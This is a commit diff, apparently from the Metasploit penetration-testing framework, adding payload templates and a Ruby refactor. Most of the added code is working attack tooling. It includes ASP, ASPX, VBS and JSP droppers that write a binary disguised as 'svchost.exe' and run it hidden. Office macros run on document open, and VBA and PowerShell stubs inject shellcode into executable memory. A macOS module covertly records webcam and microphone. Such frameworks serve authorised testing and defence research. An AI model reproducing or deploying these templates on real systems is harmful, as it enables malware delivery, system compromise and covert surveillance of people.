Deconflict

bug/bundler_fix
Meatballs 2013-08-30 10:52:42 +01:00
commit 53c3f6b2db
62 changed files with 3096 additions and 564 deletions

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,24 @@
<%% @language="VBScript" %%>
<%%
Sub %{var_func}()
%{var_shellcode}
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_stream}
Dim %{var_tempdir}
Dim %{var_tempexe}
Dim %{var_basedir}
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
%{var_stream}.Write %{var_bytes}
%{var_stream}.Close
Dim %{var_shell}
Set %{var_shell} = CreateObject("Wscript.Shell")
%{var_shell}.run %{var_tempexe}, 0, false
End Sub
%{var_func}
%%>

View File

@ -0,0 +1,30 @@
<%%@ Page Language="C#" AutoEventWireup="true" %%>
<%%@ Import Namespace="System.IO" %%>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
%{shellcode}
string %{var_tempdir} = Path.GetTempPath();
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
Directory.CreateDirectory(%{var_basedir});
FileStream fs = File.Create(%{var_tempexe});
try
{
fs.Write(%{var_file}, 0, %{var_file}.Length);
}
finally
{
if (fs != null) ((IDisposable)fs).Dispose();
}
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
%{var_proc}.StartInfo.CreateNoWindow = true;
%{var_proc}.StartInfo.UseShellExecute = true;
%{var_proc}.StartInfo.FileName = %{var_tempexe};
%{var_proc}.Start();
}
</script>

View File

@ -0,0 +1,81 @@
'**************************************************************
'*
'* This code is now split into two pieces:
'* 1. The Macro. This must be copied into the Office document
'* macro editor. This macro will run on startup.
'*
'* 2. The Data. The hex dump at the end of this output must be
'* appended to the end of the document contents.
'*
'**************************************************************
'*
'* MACRO CODE
'*
'**************************************************************
Sub Auto_Open()
%{func_name1}
End Sub
Sub %{func_name1}()
Dim %{var_appnr} As Integer
Dim %{var_fname} As String
Dim %{var_fenvi} As String
Dim %{var_fhand} As Integer
Dim %{var_parag} As Paragraph
Dim %{var_index} As Integer
Dim %{var_gotmagic} As Boolean
Dim %{var_itemp} As Integer
Dim %{var_stemp} As String
Dim %{var_btemp} As Byte
Dim %{var_magic} as String
%{var_magic} = "%{var_magic}"
%{var_fname} = "%{filename}.exe"
%{var_fenvi} = Environ("USERPROFILE")
ChDrive (%{var_fenvi})
ChDir (%{var_fenvi})
%{var_fhand} = FreeFile()
Open %{var_fname} For Binary As %{var_fhand}
For Each %{var_parag} in ActiveDocument.Paragraphs
DoEvents
%{var_stemp} = %{var_parag}.Range.Text
If (%{var_gotmagic} = True) Then
%{var_index} = 1
While (%{var_index} < Len(%{var_stemp}))
%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
Put #%{var_fhand}, , %{var_btemp}
%{var_index} = %{var_index} + 4
Wend
ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
%{var_gotmagic} = True
End If
Next
Close #%{var_fhand}
%{func_name2}(%{var_fname})
End Sub
Sub %{func_name2}(%{var_farg} As String)
Dim %{var_appnr} As Integer
Dim %{var_fenvi} As String
%{var_fenvi} = Environ("USERPROFILE")
ChDrive (%{var_fenvi})
ChDir (%{var_fenvi})
%{var_appnr} = Shell(%{var_farg}, vbHide)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
'**************************************************************
'*
'* PAYLOAD DATA
'*
'**************************************************************
%{var_magic}
%{data}

View File

@ -0,0 +1,24 @@
Function %{var_func}()
%{var_shellcode}
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_stream}
Dim %{var_tempdir}
Dim %{var_tempexe}
Dim %{var_basedir}
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
%{var_stream}.Write %{var_bytes}
%{var_stream}.Close
Dim %{var_shell}
Set %{var_shell} = CreateObject("Wscript.Shell")
%{var_shell}.run %{var_tempexe}, 0, true
%{var_obj}.DeleteFile(%{var_tempexe})
%{var_obj}.DeleteFolder(%{var_basedir})
End Function
%{init}

View File

@ -0,0 +1,49 @@
<%%@ page import="java.io.*" %%>
<%%
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
String %{var_data} = "";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
{
%{var_exepath} = %{var_exepath}.concat(".exe");
}
FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
int %{var_numbytes} = %{var_inputstream}.available();
byte %{var_bytearray}[] = new byte[%{var_numbytes}];
%{var_inputstream}.read(%{var_bytearray});
%{var_inputstream}.close();
byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
{
char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
%{var_comb} <<= 4;
%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
}
%{var_outputstream}.write(%{var_bytes});
%{var_outputstream}.close();
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
String[] %{var_fperm} = new String[3];
%{var_fperm}[0] = "chmod";
%{var_fperm}[1] = "+x";
%{var_fperm}[2] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
if (%{var_proc}.waitFor() == 0) {
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
}
else
{
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
%%>

View File

@ -0,0 +1,32 @@
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
#EndIf
Sub Auto_Open()
Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
#If Vba7 Then
Dim %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
#Else
Dim %{var_rwxpage} As Long, %{var_res} As Long
#EndIf
%{bytes}
%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
%{var_myByte} = %{var_myArray}(%{var_offset})
%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
Next %{var_offset}
%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub

View File

@ -0,0 +1,30 @@
Set-StrictMode -Version 2
$%{var_syscode} = @"
using System;
using System.Runtime.InteropServices;
namespace %{var_kernel32} {
public class func {
[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
}
}
"@
$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$%{var_compileParams}.GenerateInMemory = $True
$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
%{shellcode}
$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

View File

@ -0,0 +1,20 @@
$%{var_syscode} = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@
$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
%{shellcode}
$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
}
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

View File

@ -16,7 +16,7 @@ module Buffer
#
# Serializes a buffer to a provided format. The formats supported are raw,
# ruby, perl, bash, c, js_be, js_le and java
# ruby, perl, bash, c, js_be, js_le, java and psh
#
def self.transform(buf, fmt = "ruby")
case fmt
@ -39,6 +39,12 @@ module Buffer
buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE)
when 'java'
buf = Rex::Text.to_java(buf)
when 'powershell', 'ps1'
buf = Rex::Text.to_powershell(buf)
when 'vbscript'
buf = Rex::Text.to_vbscript(buf)
when 'vbapplication'
buf = Rex::Text.to_vbapplication(buf)
else
raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
end
@ -78,7 +84,20 @@ module Buffer
# Returns the list of supported formats
#
def self.transform_formats
['raw','ruby','rb','perl','pl','bash','sh','c','csharp','js_be','js_le','java','python','py']
['raw',
'ruby','rb',
'perl','pl',
'bash','sh',
'c',
'csharp',
'js_be',
'js_le',
'java',
'python','py',
'powershell','ps1',
'vbscript',
'vbapplication'
]
end
end

View File

@ -1512,6 +1512,7 @@ class DBManager
raise ArgumentError.new("Invalid address or object for :host (#{opts[:host].inspect})")
end
::ActiveRecord::Base.connection_pool.with_connection {
host = opts.delete(:host)
ptype = opts.delete(:type) || "password"
token = [opts.delete(:user), opts.delete(:pass)]
@ -1623,6 +1624,7 @@ class DBManager
end
ret[:cred] = cred
}
end
alias :report_cred :report_auth_info
@ -1922,8 +1924,10 @@ class DBManager
# Note that this *can* update data across workspaces
#
def update_vuln_details(details)
::ActiveRecord::Base.connection_pool.with_connection {
criteria = details.delete(:key) || {}
::Mdm::VulnDetail.update(key, details)
}
end
#

View File

@ -0,0 +1,382 @@
module Msf
class Post
module OSX
module RubyDL
def osx_ruby_dl_header
<<-EOS
require 'dl'
require 'dl/import'
#### Patches to DL (for compatibility between 1.8->1.9)
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if defined?(DL::CPtr)
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
# the old Ruby Importer defaults methods to downcase every import
# This is annoying, so we'll patch with method_missing
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
self.send lower, *args
else
super
end
end
end
end
end
EOS
end
def osx_capture_media(opts)
capture_code = <<-EOS
#{osx_ruby_dl_header}
options = {
:action => '#{opts[:action]}', # or list|snapshot|record
:snap_filetype => '#{opts[:snap_filetype]}', # jpg|png|gif|tiff|bmp
:audio_enabled => #{opts[:audio_enabled]},
:video_enabled => #{opts[:video_enabled]},
:num_chunks => #{opts[:num_chunks]}, # wachawa!
:chunk_len => #{opts[:chunk_len]}, # save chunks every 5 seconds
:video_device => #{opts[:video_device]}, # automatic
:audio_device => #{opts[:audio_device]},
:snap_jpg_compression => #{opts[:snap_jpg_compression]}, # compression ratio (between 0 & 1), JPG ONLY
:video_compression => '#{opts[:video_compression]}',
:audio_compression => '#{opts[:audio_compression]}',
:record_file => '#{opts[:record_file]}',
:snap_file => '#{opts[:snap_file]}'
}
RUN_LOOP_STEP = 0.1 # "tick" duration for spinning NSRunLoop
# NSTIFFFileType 0
# NSBMPFileType 1
# NSGIFFileType 2
# NSJPEGFileType 3
# NSPNGFileType 4
SNAP_FILETYPES = %w(tiff bmp gif jpg png)
snap_filetype_index = SNAP_FILETYPES.index(options[:snap_filetype].to_s)
require 'fileutils'
FileUtils.mkdir_p File.dirname(options[:record_file])
FileUtils.mkdir_p File.dirname(options[:snap_file])
#### Helper methods for objc message passing
if not ruby_1_9_or_higher?
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
# so we have to reload the lib into separate modules with different
# exported typedefs, and patch objc_call to do our own typechecking.
# this can probably be done better.
module LibCWithInt
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, int, int)'
end
module LibCWithFloat
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, double, double)'
end
module LibCWithVoidPtrInt
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, void*, int)'
end
module LibCWithIntVoidPtr
extend Importer
dlload 'libSystem.B.dylib'
extern 'void *sel_getUid(void*)'
extern 'void *objc_msgSend(void *, void *, int, void*)'
end
end
def objc_call(instance, method, arg=nil, arg2=nil)
# ruby < 1.9 freaks when you send int -> void* or flout -> void*
# so we have to reload the lib into a separate with different exported typedefs,
# and call
if not ruby_1_9_or_higher? and arg.kind_of?(Integer)
if not arg2.kind_of?(Integer) and not arg2.nil?
LibCWithIntVoidPtr.objc_msgSend(instance, LibCWithIntVoidPtr.sel_getUid(method), arg||0, arg2)
else
LibCWithInt.objc_msgSend(instance, LibCWithInt.sel_getUid(method), arg||0, arg2||0)
end
elsif not ruby_1_9_or_higher? and arg2.kind_of?(Integer)
LibCWithVoidPtrInt.objc_msgSend(instance, LibCWithVoidPtrInt.sel_getUid(method), arg||0, arg2)
elsif not ruby_1_9_or_higher? and arg.kind_of?(Float)
LibCWithFloat.objc_msgSend(instance, LibCWithFloat.sel_getUid(method), arg||0.0, arg2||0.0)
else
QTKit.objc_msgSend(instance, QTKit.sel_getUid(method), arg, arg2)
end
end
def objc_call_class(klass, method, arg=nil, arg2=nil)
objc_call(QTKit.objc_getClass(klass), QTKit.sel_getUid(method), arg, arg2)
end
def nsstring(str)
objc_call(objc_call(objc_call_class(
'NSString', 'alloc'),
'initWithCString:', str),
'autorelease')
end
#### External dynamically linked code
VID_TYPE = 'vide'
MUX_TYPE = 'muxx'
AUD_TYPE = 'soun'
module QTKit
extend Importer
dlload 'QTKit.framework/QTKit'
extern 'void *objc_msgSend(void *, void *, void *, void*)'
extern 'void *sel_getUid(void*)'
extern 'void *objc_getClass(void *)'
end
#### Actual Webcam code
autorelease_pool = objc_call_class('NSAutoreleasePool', 'new')
vid_type = nsstring(VID_TYPE)
mux_type = nsstring(MUX_TYPE)
aud_type = nsstring(AUD_TYPE)
devices_ref = objc_call_class('QTCaptureDevice', 'inputDevices')
device_count = objc_call(devices_ref, 'count').to_i
if device_count.zero? and not options[:actions] =~ /list/i
raise "Invalid device. Check devices with `set ACTION LIST`. Exiting."
exit
end
device_enum = objc_call(devices_ref, 'objectEnumerator')
devices = (0...device_count).
map { objc_call(device_enum, 'nextObject') }.
select do |device|
vid = objc_call(device, 'hasMediaType:', vid_type).to_i > 0
mux = objc_call(device, 'hasMediaType:', mux_type).to_i > 0
vid or mux
end
device_enum = objc_call(devices_ref, 'objectEnumerator')
audio_devices = (0...device_count).
map { objc_call(device_enum, 'nextObject') }.
select { |d| objc_call(d, 'hasMediaType:', aud_type).to_i > 0 }
def device_names(devices)
devices.
map { |device| objc_call(device, 'localizedDisplayName') }.
map { |name| objc_call(name, 'UTF8String') }.
map(&:to_s)
end
def device_stati(devices)
devices.
map { |d| objc_call(d, 'isInUseByAnotherApplication').to_i > 0 }.
map { |b| if b then 'BUSY' else 'AVAIL' end }
end
def print_devices(devices)
device_names(devices).zip(device_stati(devices)).each_with_index do |d, i|
puts "\#{i}. \#{d[0]} [\#{d[1]}]"
end
end
def print_compressions(type)
compressions = objc_call_class('QTCompressionOptions',
'compressionOptionsIdentifiersForMediaType:', type)
count = objc_call(compressions, 'count').to_i
if count.zero?
puts "No supported compression types found."
else
comp_enum = objc_call(compressions, 'objectEnumerator')
puts((0...count).
map { objc_call(comp_enum, 'nextObject') }.
map { |c| objc_call(c, 'UTF8String').to_s }.
join("\n")
)
end
end
def use_audio?(options)
options[:audio_enabled] and options[:action].to_s == 'record'
end
def use_video?(options)
(options[:video_enabled] and options[:action].to_s == 'record') or options[:action].to_s == 'snapshot'
end
if options[:action].to_s == 'list'
if options[:video_enabled]
puts "===============\nVideo Devices:\n===============\n"
print_devices(devices)
puts "\nAvailable video compression types:\n\n"
print_compressions(vid_type)
end
puts "\n===============\nAudio Devices:\n===============\n"
print_devices(audio_devices)
puts "\nAvailable audio compression types:\n\n"
print_compressions(aud_type)
exit
end
# Create a session to add I/O to
session = objc_call_class('QTCaptureSession', 'new')
# open the AV devices
if use_video?(options)
video_device = devices[options[:video_device]]
if not objc_call(video_device, 'open:', nil).to_i > 0
raise 'Failed to open video device'
end
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
input = objc_call(input, 'initWithDevice:', video_device)
objc_call(session, 'addInput:error:', input, nil)
end
if use_audio?(options)
# open the audio device
audio_device = audio_devices[options[:audio_device]]
if not objc_call(audio_device, 'open:', nil).to_i > 0
raise 'Failed to open audio device'
end
input = objc_call_class('QTCaptureDeviceInput', 'alloc')
input = objc_call(input, 'initWithDevice:', audio_device)
objc_call(session, 'addInput:error:', input, nil)
end
# initialize file output
record_file = options[:record_file]
output = objc_call_class('QTCaptureMovieFileOutput', 'new')
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
objc_call(output, 'recordToOutputFileURL:', file_url)
objc_call(session, 'addOutput:error:', output, nil)
# set up video/audio compression options
connection = nil
connection_enum = objc_call(objc_call(output, 'connections'), 'objectEnumerator')
while (connection = objc_call(connection_enum, 'nextObject')).to_i > 0
media_type = objc_call(connection, 'mediaType')
compress_opts = if objc_call(media_type, 'isEqualToString:', vid_type).to_i > 0 ||
objc_call(media_type, 'isEqualToString:', mux_type).to_i > 0
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
nsstring(options[:video_compression]))
elsif use_audio?(options) and objc_call(media_type, 'isEqualToString:', aud_type).to_i > 0
objc_call_class('QTCompressionOptions', 'compressionOptionsWithIdentifier:',
nsstring(options[:audio_compression]))
end
unless compress_opts.to_i.zero?
objc_call(output, 'setCompressionOptions:forConnection:', compress_opts, connection)
end
end
# start capturing from the webcam
objc_call(session, 'startRunning')
# we use NSRunLoop, which allows QTKit to spin its thread? somehow it is needed.
run_loop = objc_call_class('NSRunLoop', 'currentRunLoop')
# wait until at least one frame has been captured
while objc_call(output, 'recordedFileSize').to_i < 1
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
end
if options[:action] == 'record' # record in a loop for options[:record_len] seconds
curr_chunk = 0
last_roll = Time.now
# wait until at least one frame has been captured
while curr_chunk < options[:num_chunks]
time = objc_call(objc_call_class('NSDate', 'new'), 'autorelease')
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
if Time.now - last_roll > options[:chunk_len].to_i # roll that movie file
base = File.basename(record_file, '.*') # returns it with no extension
num = ((base.match(/\\d+$/)||['0'])[0].to_i+1).to_s
ext = File.extname(record_file) || 'o'
record_file = File.join(File.dirname(record_file), base+num+'.'+ext)
# redirect buffer output to new file path
file_url = objc_call_class('NSURL', 'fileURLWithPath:', nsstring(record_file))
objc_call(output, 'recordToOutputFileURL:', file_url)
# remember we hit a chunk
last_roll = Time.now
curr_chunk += 1
end
end
end
# stop recording and stop session
objc_call(output, 'recordToOutputFileURL:', nil)
objc_call(session, 'stopRunning')
# give QTKit some time to write to file
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
if options[:action] == 'snapshot' # user wants a snapshot
# read captured movie file into QTKit
dict = objc_call_class('NSMutableDictionary', 'dictionary')
objc_call(dict, 'setObject:forKey:', nsstring('NSImage'), nsstring('QTMovieFrameImageType'))
# grab a frame image from the move
m = objc_call_class('QTMovie', 'movieWithFile:error:', nsstring(options[:record_file]), nil)
img = objc_call(m, 'currentFrameImage')
# set compression options
opts = objc_call_class('NSDictionary', 'dictionaryWithObject:forKey:',
objc_call_class('NSNumber', 'numberWithFloat:', options[:snap_jpg_compression]),
nsstring('NSImageCompressionFactor')
)
# convert to desired format
bitmap = objc_call(objc_call(img, 'representations'), 'objectAtIndex:', 0)
data = objc_call(bitmap, 'representationUsingType:properties:', snap_filetype_index, opts)
objc_call(data, 'writeToFile:atomically:', nsstring(options[:snap_file]), 0)
objc_call(run_loop, 'runUntilDate:', objc_call(time, 'dateByAddingTimeInterval:', RUN_LOOP_STEP))
# # delete the original movie file
File.delete(options[:record_file])
end
objc_call(autorelease_pool, 'drain')
EOS
if opts[:action] == 'record'
capture_code = %Q|
cpid = fork do
#{capture_code}
end
Process.detach(cpid)
puts cpid
|
end
capture_code
end
end
end
end
end

View File

@ -107,13 +107,17 @@ class SessionManager < Hash
# processing time for large session lists from skewing our update interval.
last_seen_timer = Time.now.utc
values.each do |s|
# Update the database entry on a regular basis, marking alive threads
# as recently seen. This notifies other framework instances that this
# session is being maintained.
if framework.db.active and s.db_record
s.db_record.last_seen = Time.now.utc
s.db_record.save
if framework.db.active
::ActiveRecord::Base.connection_pool.with_connection do
values.each do |s|
# Update the database entry on a regular basis, marking alive threads
# as recently seen. This notifies other framework instances that this
# session is being maintained.
if s.db_record
s.db_record.last_seen = Time.now.utc
s.db_record.save
end
end
end
end
end

View File

@ -55,6 +55,16 @@ require 'digest/sha1'
end
end
def self.read_replace_script_template(filename, hash_sub)
template_pathname = File.join(Msf::Config.install_root, "data", "templates", "scripts", filename)
template = ''
File.open(template_pathname, "rb") do |f|
template = f.read
end
return template % hash_sub
end
##
#
@ -867,471 +877,177 @@ require 'digest/sha1'
def self.to_exe_vba(exes='')
exe = exes.unpack('C*')
vba = ""
hash_sub = {}
idx = 0
maxbytes = 2000
var_magic = Rex::Text.rand_text_alpha(10).capitalize
var_base = Rex::Text.rand_text_alpha(5).capitalize
var_base_idx = 0
var_base = Rex::Text.rand_text_alpha(5).capitalize
# First write the macro into the vba file
var_fname = var_base + (var_base_idx+=1).to_s
var_fenvi = var_base + (var_base_idx+=1).to_s
var_fhand = var_base + (var_base_idx+=1).to_s
var_parag = var_base + (var_base_idx+=1).to_s
var_itemp = var_base + (var_base_idx+=1).to_s
var_btemp = var_base + (var_base_idx+=1).to_s
var_appnr = var_base + (var_base_idx+=1).to_s
var_index = var_base + (var_base_idx+=1).to_s
var_gotmagic = var_base + (var_base_idx+=1).to_s
var_farg = var_base + (var_base_idx+=1).to_s
var_stemp = var_base + (var_base_idx+=1).to_s
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
hash_sub[:var_fname] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fenvi] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_fhand] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_parag] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_itemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_btemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_appnr] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_index] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_gotmagic] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_farg] = var_base + (var_base_idx+=1).to_s
hash_sub[:var_stemp] = var_base + (var_base_idx+=1).to_s
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8)+8)
# Function 1 extracts the binary
func_name1 = var_base + (var_base_idx+=1).to_s
hash_sub[:func_name1] = var_base + (var_base_idx+=1).to_s
# Function 2 executes the binary
func_name2 = var_base + (var_base_idx+=1).to_s
hash_sub[:func_name2] = var_base + (var_base_idx+=1).to_s
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* This code is now split into two pieces:\r\n"
vba << "'* 1. The Macro. This must be copied into the Office document\r\n"
vba << "'* macro editor. This macro will run on startup.\r\n"
vba << "'*\r\n"
vba << "'* 2. The Data. The hex dump at the end of this output must be\r\n"
vba << "'* appended to the end of the document contents.\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n"
vba << "'*\r\n"
vba << "'* MACRO CODE\r\n"
vba << "'*\r\n"
vba << "'**************************************************************\r\n"
# The wrapper makes it easier to integrate it into other macros
vba << "Sub Auto_Open()\r\n"
vba << "\t#{func_name1}\r\n"
vba << "End Sub\r\n"
vba << "Sub #{func_name1}()\r\n"
vba << "\tDim #{var_appnr} As Integer\r\n"
vba << "\tDim #{var_fname} As String\r\n"
vba << "\tDim #{var_fenvi} As String\r\n"
vba << "\tDim #{var_fhand} As Integer\r\n"
vba << "\tDim #{var_parag} As Paragraph\r\n"
vba << "\tDim #{var_index} As Integer\r\n"
vba << "\tDim #{var_gotmagic} As Boolean\r\n"
vba << "\tDim #{var_itemp} As Integer\r\n"
vba << "\tDim #{var_stemp} As String\r\n"
vba << "\tDim #{var_btemp} As Byte\r\n"
vba << "\tDim #{var_magic} as String\r\n"
vba << "\t#{var_magic} = \"#{var_magic}\"\r\n"
vba << "\t#{var_fname} = \"#{Rex::Text.rand_text_alpha(rand(8)+8)}.exe\"\r\n"
vba << "\t#{var_fenvi} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_fenvi})\r\n"
vba << "\tChDir (#{var_fenvi})\r\n"
vba << "\t#{var_fhand} = FreeFile()\r\n"
vba << "\tOpen #{var_fname} For Binary As #{var_fhand}\r\n"
vba << "\tFor Each #{var_parag} in ActiveDocument.Paragraphs\r\n"
vba << "\t\tDoEvents\r\n"
vba << "\t\t\t#{var_stemp} = #{var_parag}.Range.Text\r\n"
vba << "\t\tIf (#{var_gotmagic} = True) Then\r\n"
vba << "\t\t\t#{var_index} = 1\r\n"
vba << "\t\t\tWhile (#{var_index} < Len(#{var_stemp}))\r\n"
vba << "\t\t\t\t#{var_btemp} = Mid(#{var_stemp},#{var_index},4)\r\n"
vba << "\t\t\t\tPut ##{var_fhand}, , #{var_btemp}\r\n"
vba << "\t\t\t\t#{var_index} = #{var_index} + 4\r\n"
vba << "\t\t\tWend\r\n"
